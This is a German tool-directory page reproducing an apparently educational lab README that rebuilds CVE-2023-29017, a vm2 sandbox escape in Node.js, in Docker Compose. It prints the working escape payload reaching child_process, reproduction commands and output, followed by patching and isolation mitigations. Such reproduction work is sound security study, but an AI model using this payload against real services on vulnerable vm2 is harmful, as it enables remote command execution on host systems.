Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Node_CVE-2023-29017 — Node.js vm2 CVE-2023-29017 Reproduktion mit Docker Compose und PoC | Kitploit
Tools/GitHubGitHub/gunwoo105/node_cve-2023-29017
Container-SicherheitSchwachstellenanalyseExploitationLernen & BildungBinary-ExploitationLabs & Praxis
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Node.js vm2 CVE-2023-29017 Reproduktion mit Docker Compose und PoC

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-29017 | Remotecodeausführung durch vm2-Sandbox-Escape

[WHS 4. Jahrgang, Klasse 31] - Kim Geon-woo (@gunwoo105)

Schwachstellenübersicht

vm2 ist eine Node.js-Sandbox-Bibliothek zur Ausführung von nicht vertrauenswürdigem JavaScript in einer eingeschränkten Umgebung. Im Normalfall sollte Code innerhalb der Sandbox keinen Zugriff auf sensible Funktionen wie process, require, child_process oder das Host-Dateisystem von Node.js haben.

Allerdings behandelt vm2 3.9.14 und älter die Host-Objekte, die bei einem unbehandelten asynchronen Fehler an Error.prepareStackTrace übergeben werden, nicht sicher. Ein Angreifer kann die Konstruktorkette dieses Objekts ausnutzen, um den Function-Konstruktor und das process-Objekt im Host-Kontext zu erlangen und schließlich über child_process Betriebssystembefehle auszuführen.

Umgebungskonfiguration

Komponenten

Statt ein vorgefertigtes verwundbares Image zu verwenden, wird das Image direkt aus dem offiziellen Node.js-Basisimage und dem im Repository enthaltenen Quellcode erstellt. Im Dockerfile werden die Versionen von Node.js und vm2 geprüft; weicht eine Version von der erwarteten ab, schlägt der Build fehl.

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

Der Grund dafür, worker.js als separaten Prozess auszuführen, ist, dass der PoC einen unbehandelten asynchronen Fehler auslöst. Selbst wenn der Worker während des Angriffs beendet wird, läuft der Webserver weiter, und der Erfolg kann zuverlässig über eine Markierungsdatei überprüft werden.

Schwachstellenbedingungen

Alle folgenden Bedingungen müssen erfüllt sein.

  1. Die Anwendung verwendet vm2 3.9.14 oder älter.
  2. Der Angreifer kann die auszuführende JavaScript-Eingabe kontrollieren.
  3. Das betreffende JavaScript wird innerhalb von vm2 ausgeführt.
  4. Die asynchrone JavaScript-Ausführung ist erlaubt.
  5. Ein unbehandelter asynchroner Fehler erreicht den verwundbaren Stack-Trace-Verarbeitungspfad.
  6. Der Node.js-Prozess, der vm2 ausführt, besitzt Berechtigungen zur Ausführung von Betriebssystembefehlen oder zum Dateizugriff.

Nicht alle Dienste, die vm2 installiert haben, sind automatisch einem Remoteangriff ausgesetzt. Es muss eine Funktion vorhanden sein, die vom Angreifer kontrollierten Code in vm2 ausführt. Der Endpunkt /execute in dieser Übung implementiert diesen Anwendungsfall in minimaler Form.

Der Angriffsablauf ist wie folgt:

root@kitploit:~
악성 JavaScript 전달
        │
        ▼
처리되지 않은 비동기 오류 발생
        │
        ▼
Error.prepareStackTrace 호출
        │
        ▼
호스트 frames 객체 노출
        │
        ▼
호스트 Function 생성자 획득
        │
        ▼
process → require → child_process
        │
        ▼
컨테이너 내부 OS 명령 실행

Reproduktionsschritte

Image erstellen

root@kitploit:~
docker compose build --no-cache

Image-Build erfolgreich

Verwundbaren Dienst starten

root@kitploit:~
docker compose up -d vulnerable

Überprüfen Sie den Status des Containers.

root@kitploit:~
docker compose ps

Dienststatus und Version prüfen

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Dienststatus und Versionsprüfung

PoC ausführen

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

Der PoC überprüft automatisch folgende Punkte:

  1. Healthcheck des verwundbaren Dienstes
  2. Versionen von Node.js und vm2
  3. Ausführung des normalen JavaScripts 21 * 2
  4. Prüfung, dass bei normalem Code keine Markierungsdatei erstellt wird
  5. Übertragung des CVE-2023-29017-Payloads
  6. Prüfung, ob /tmp/vm2-pwned erstellt wurde
  7. Prüfung, ob der Dateiinhalt uid= enthält
  8. Rückgabe von Exit-Code 0 bei Erfolg und Exit-Code 1 bei Fehlschlag

Um Build und PoC in einem Schritt auszuführen, verwenden Sie den folgenden Befehl.

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Beweisdatei prüfen

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Umgebung beenden

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. PoC-Code

Der vollständige PoC ist in poc/poc.js enthalten. Der zentrale Payload sieht wie folgt aus:

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Funktionsweise des Codes

Überschreiben von Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

Der Angreifer überschreibt die Funktion, die beim Erzeugen des Stack-Traces eines Fehlers ausgeführt wird.

Erlangen des Host-Function-Konstruktors

root@kitploit:~
frames.constructor.constructor

Über die Konstruktorkette des vom verwundbaren vm2 exponierten Host-frames-Objekts wird der Function-Konstruktor im Host-Kontext erreicht.

Erlangen des Host-process-Objekts

root@kitploit:~
frames.constructor.constructor('return process')();

Es wird eine Funktion erzeugt und ausgeführt, die process im Host-Kontext zurückgibt.

Ausführen von Betriebssystembefehlen

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Es wird child_process geladen, das innerhalb der Sandbox nicht bereitgestellt wird, und der Linux-Befehl id ausgeführt.

Auslösen eines unbehandelten asynchronen Fehlers

root@kitploit:~
(async () => {}).constructor('return process')();

Die asynchrone Funktion wird dazu gebracht, auf das in der Sandbox nicht verfügbare process zu verweisen, wodurch ein abgelehntes Promise entsteht und der verwundbare Stack-Trace-Verarbeitungspfad erreicht wird.

Ausführungsergebnisse

Normale Kontrollgruppe

Das normale JavaScript wird innerhalb von vm2 ausgeführt und gibt 42 zurück, erzeugt jedoch keinen Beweis für die Ausführung eines Betriebssystembefehls.

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Ausnutzung der Schwachstelle

Wird der bösartige Payload übermittelt, wird die vm2-Sandbox umgangen und der Befehl id mit den Berechtigungen des verwundbaren Node.js-Prozesses innerhalb des Containers ausgeführt.

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

Der PoC prüft die gespeicherten Beweise erneut und gibt anschließend den Erfolgsstatus zurück.

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

PoC erfolgreich ausgeführt

Die direkte Prüfung der Beweisdatei liefert folgende Ausgabe:

Nachweis der Markierungsdatei

Die Markierungsdatei wird vor jeder Ausführung gelöscht und im Schritt der normalen Codeausführung nicht erstellt. Dadurch werden Fehlalarme durch zurückgebliebene Ergebnisse früherer Ausführungen verhindert.

Gegenmaßnahmen

vm2 aktualisieren

Aktualisieren Sie auf eine nicht betroffene Version.

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

Aktualisieren Sie anschließend die Lockfile und installieren Sie die festgelegten Abhängigkeiten.

root@kitploit:~
npm install --package-lock-only
npm ci

Das offizielle Advisory gibt an, dass es keinen separaten Workaround gibt; die weitere Verwendung einer verwundbaren Version wird daher nicht empfohlen.

Trennung der Ausführungsumgebung für nicht vertrauenswürdigen Code

Führen Sie nicht vertrauenswürdigen Code nicht im selben Node.js-Prozess wie die Anwendung aus. Isolieren Sie ihn in einem separaten Prozess, Container oder einer virtuellen Maschine und verwerfen Sie die Umgebung nach der Ausführung.

Anwendung des Prinzips der minimalen Rechte

  • Ausführung mit einem dedizierten Nicht-Root-Benutzer
  • no-new-privileges anwenden
  • Entfernen unnötiger Linux-Capabilities
  • Kein Mounten des Docker-Sockets oder von Host-Verzeichnissen
  • Prüfung einer Read-only-Konfiguration des Dateisystems
  • Keine langfristigen Anmeldedaten im Container speichern

Netzwerk- und Ressourcenbeschränkungen

  • Einschränkung des externen Netzwerkzugriffs des Ausführungscontainers
  • Minimierung des Zugriffs auf interne Verwaltungsnetze und Datenbanken
  • Begrenzung von CPU, Speicher, Prozessanzahl und Ausführungszeit
  • Begrenzung der Eingabegröße und Anfragehäufigkeit
  • Überwachung auf ungewöhnliche Beendigungen und wiederholte bösartige Eingaben

Authentifizierung und Eingabekontrolle

Wenden Sie auf die Codeausführungsfunktion eine starke Authentifizierung und Autorisierung an und betreiben Sie keine öffentlich zugängliche API zur Ausführung beliebigen Codes. Authentifizierung ist jedoch nur eine unterstützende Maßnahme zur Verringerung der Angriffsfläche und kein Ersatz für die Behebung der Schwachstelle selbst.

Tool herunterladen
KomponenteVersion und Konfiguration
Node.js18.15.0
vm23.9.14
Patch-Version3.9.15
LaufzeitumgebungDocker Compose
Container-Benutzernode
Dienstport127.0.0.1:3000
Paketinstallationnpm ci + package-lock.json
DateiRolle
docker-compose.ymlDefiniert die Konfiguration und Startreihenfolge des verwundbaren Dienstes und des PoC-Containers
DockerfileBaut die Images für den verwundbaren Dienst und den PoC per Multi-Stage-Verfahren
vulnerable/src/server.jsStellt die Endpunkte /health, /execute, /evidence bereit
vulnerable/src/worker.jsFührt Benutzereingaben in einer vm2-Instanz in einem separaten Prozess aus
poc/poc.jsAutomatisiert Versionsprüfung, normale Kontrollgruppe, Angriff und Beweisprüfung
vulnerable/package-lock.jsonFixiert Paketversionen einschließlich transitiver Abhängigkeiten